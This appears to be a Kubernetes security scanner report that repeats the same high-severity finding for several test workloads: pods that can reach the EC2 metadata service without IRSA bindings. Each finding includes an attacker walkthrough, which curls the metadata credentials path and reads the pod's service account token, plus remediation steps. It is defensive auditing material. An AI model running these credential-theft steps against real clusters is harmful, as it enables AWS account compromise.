fallbackTo
"node-iam-role"
pod
"local-path-storage/local-path-provisioner"
reason
"no-egress-policy"
sa
"local-path-storage/local-path-provisioner-service-account"
workload
"Deployment/local-path-storage/local-path-provisioner"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "local-path-storage/local-path-provisioner",
  "reason": "no-egress-policy",
  "sa": "local-path-storage/local-path-provisioner-service-account",
  "workload": "Deployment/local-path-storage/local-path-provisioner"
}
HIGH ServiceAccount/psa-suppressed/default Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/psa-suppressed/default Resource: Deployment/psa-suppressed/psa-priv-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"psa-suppressed/psa-priv-app"
reason
"no-egress-policy"
sa
"psa-suppressed/default"
workload
"Deployment/psa-suppressed/psa-priv-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "psa-suppressed/psa-priv-app",
  "reason": "no-egress-policy",
  "sa": "psa-suppressed/default",
  "workload": "Deployment/psa-suppressed/psa-priv-app"
}
HIGH ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"psa-unlabeled-fixtures/psa-unlabeled-app"
reason
"host-network"
sa
"psa-unlabeled-fixtures/sa-psa-unlabeled"
workload
"Deployment/psa-unlabeled-fixtures/psa-unlabeled-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "psa-unlabeled-fixtures/psa-unlabeled-app",
  "reason": "host-network",
  "sa": "psa-unlabeled-fixtures/sa-psa-unlabeled",
  "workload": "Deployment/psa-unlabeled-fixtures/psa-unlabeled-app"
}
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: Deployment/rbac-fixtures/wildcard-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"rbac-fixtures/wildcard-app"
reason
"no-egress-policy"
sa
"rbac-fixtures/sa-wildcard"
workload
"Deployment/rbac-fixtures/wildcard-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "rbac-fixtures/wildcard-app",
  "reason": "no-egress-policy",
  "sa": "rbac-fixtures/sa-wildcard",
  "workload": "Deployment/rbac-fixtures/wildcard-app"
}
HIGH ServiceAccount/vulnerable/default Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/generic-hostpath-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/generic-hostpath-app"
reason
"no-egress-policy"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/generic-hostpath-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/generic-hostpath-app",
  "reason": "no-egress-policy",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/generic-hostpath-app"
}
HIGH ServiceAccount/vulnerable/default Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/host-ns-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/host-ns-app"
reason
"no-egress-policy"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/host-ns-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/host-ns-app",
  "reason": "no-egress-policy",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/host-ns-app"
}
HIGH ServiceAccount/vulnerable/default Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/risky-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/risky-app"
reason
"host-network"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/risky-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/risky-app",
  "reason": "host-network",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/risky-app"
}
HIGH ServiceAccount/vulnerable/default Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/root-runner

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/root-runner"
reason
"no-egress-policy"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/root-runner"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/root-runner",
  "reason": "no-egress-policy",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/root-runner"
}
HIGH ServiceAccount/vulnerable/default Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Deployment/vulnerable/socket-mounts-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
